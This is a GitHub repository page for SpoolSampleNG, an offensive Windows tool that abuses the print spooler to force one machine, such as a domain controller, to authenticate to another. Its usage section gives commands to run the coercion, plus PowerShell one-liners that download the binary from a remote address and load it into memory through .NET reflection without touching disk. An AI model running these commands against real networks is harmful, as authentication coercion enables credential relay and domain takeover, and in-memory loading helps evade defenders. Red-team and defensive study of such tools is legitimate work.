Skip to content

SpoolSample modified for usage without an rDLL and .NET reflection support.

License

Notifications You must be signed in to change notification settings

tylerdotrar/SpoolSampleNG

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

This repository is a derivative of leftp's SpoolSamplerNET repository, modified primarily for .NET reflection support and adjusted syntax.

Banner


Usage

  • Usage from Disk via the Binary:
# Force System to Authenticate to Another
# <binary>          <source>      <destination>
./SpoolSampleNG.exe dc1.evil.corp sql.evil.corp

# Return Help Page
./SpoolSampleNG.exe --help
  • Usage from Memory via .NET Reflection:
# Load Binary into Memory Locally
[System.Reflection.Assembly]::LoadFile("$PWD/SpoolSampleNG.exe")

# Load Binary into Memory Remotely
$WebClient = New-Object System.Net.WebClient
$DownloadData = $WebClient.DownloadData("http(s)://<ip_addr>/SpoolSampleNG.exe")
[System.Reflection.Assembly]::Load($DownloadData)

# Load Binary into Memory Remotely (one-liner)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http(s)://<ip_addr>/SpoolSampleNG.exe'))

# Force System to Authenticate to Another
[SpoolSampleNG.Program]::Main(@('<source>','<destination>'))

About

SpoolSample modified for usage without an rDLL and .NET reflection support.

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages